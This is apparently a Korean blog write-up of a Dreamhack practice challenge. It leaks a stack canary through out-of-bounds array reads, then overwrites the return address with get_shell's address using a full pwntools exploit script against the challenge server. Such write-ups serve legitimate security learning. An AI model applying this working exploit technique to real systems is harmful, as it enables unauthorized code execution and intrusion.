주어진 c코드를 보면 get_shell함수가 있고, box, name 등을 받을수 있다.
어셈블리 코드를 보면
$ebp-0x88에 box,
$ebp-0x48에 name
$ebp-0x08에 카나리가 저장된다.
select에 P를 저장하면 box의 index 값을 출력한다.
이때 index에 128~131까지 넣으면 카나리 값이 나올 것이다.
이걸 저장하고 name은 input 사이즈를 정할수 있기 때문에 대충 큰 수 잡고 0x40만큼 아무수나 넣어 name을 채우고 그 뒤엔 카나리, $rbp-0x4에 저장된 초반 edi값을 아무 문자로 바꾸고, 그 후 $ebp에 저장된 이전 $ebp값을 아무 문자로 바꾸고, 그 후에 있는 eip관련 스택을 get_shell 함수의 주소로 바꿔주면
값이 나올것이다. 이를 python코드로 바꾸면
from pwn import *
r = remote("host3.dreamhack.games", [포트번호])
canary = []
index_list = [b'131', b'130', b'129', b'128']
#index_list = [b'67', b'66', b'65', b'64']
for i in index_list:
r.recvuntil(b">");
payload = b"P"
r.sendline(payload)
r.recvuntil(b"Element index : ");
payload = i
r.sendline(payload)
canary.append(str(r.recvline()[-3:-1]).split("'")[1])
#canary.reverse()
print("0x" + "".join(canary));
canary_hex = p32(int("0x" + "".join(canary[0:4]), 16))
r.recvuntil(b">");
payload = b"E"
r.sendline(payload)
r.recvuntil(b"Name Size :")
r.sendline(b"80");
r.recvuntil(b"Name :")
payload = b'A' * 0x40 + canary_hex + b'B' * 0x8 + b'\xb9\x86\x04\x08'
print(payload)
r.sendline(payload);
r.interactive()'보안 > 시스템해킹' 카테고리의 다른 글
| [Dreamhack][시스템 해킹] dreamvm (0) | 2026.07.18 |
|---|---|
| [시스템 해킹][Dreamhack] string (0) | 2026.07.11 |
| [시스템 해킹][재활][dreamhack] block bof (0) | 2025.06.25 |
| [Dream Hack] cherry (0) | 2024.05.10 |
| [Dream Hack] no mov (0) | 2024.04.10 |